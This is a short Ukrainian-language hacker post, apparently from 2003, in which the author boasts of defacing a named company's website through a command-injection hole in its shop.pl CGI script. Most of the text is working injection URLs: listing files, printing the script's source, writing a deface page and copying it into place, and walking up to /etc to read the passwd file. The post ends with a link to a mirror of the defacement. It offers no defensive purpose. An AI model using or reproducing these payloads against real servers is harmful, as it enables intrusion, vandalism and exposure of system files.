Уразливість www.hawk-assoc.com на скрипті shop.pl

Якось, натрапив я на сайті www.hawk-assoc.com на скрипт shop.pl. скрипт обробляв наступний запит:
http://www.xxx.com/cgi-local/shop.pl/page=index.html
відразу всполмілся досить старий баг в цьому скрипті (можливість виконання команд):
http: //www.xxx.com/cgi-local/shop.pl/page=; ls |
http: //www.xxx.com/cgi-local/shop.pl/page=; id |
http://www.xxx.com/cgi-local/shop.pl/page=;cat shop.pl |
власне виконати дефейс НЕ предстовляю особливої складності.
для початку створювався файл index.html:
http://www.xxx.com/cgi-local/shop.pl/page=;echo deface: durito> index.html |
далі створений файл копіювався в директорію вище:
http://www.xxx.com/cgi-local/shop.pl/page=;cp index.html .. |
ось і весь дефейс. але ж цікаво було і по іншим тек походити. але скрипт наполегливо різав /, так що команда:
http://www.xxx.com/cgi-local/shop.pl/page=;ls ../ cgi-bin | - Чи не
працювала, скрипт видавав повідомлення про помилку. але тут я згадав про символ;! За допомогою нього можна виконувати команди послідовно.
Виконання кожної наступної команди починається тільки після повного завершення
попередньої.
Вводжу наступну команду:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..; ls | і бачу лістинг каталогу вернего рівня. і так далі:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..; cd ..; cd ..; ls | добрався і до кореня. подорож по папках теж не представляло складності:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..; cd ..; cd ..; cd etc; ls |
ось і нещасливий passwd знайшовся:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..; cd ..; cd ..; cd etc; cat passwd |
і так далі. ось власне і все.
а ось і дзеркало злому:
http://taxidermia.void.ru/mirrors/2003/09/22/www.hawk-assoc.com

Твій bug Durito.
_________________
EAT THE RICH!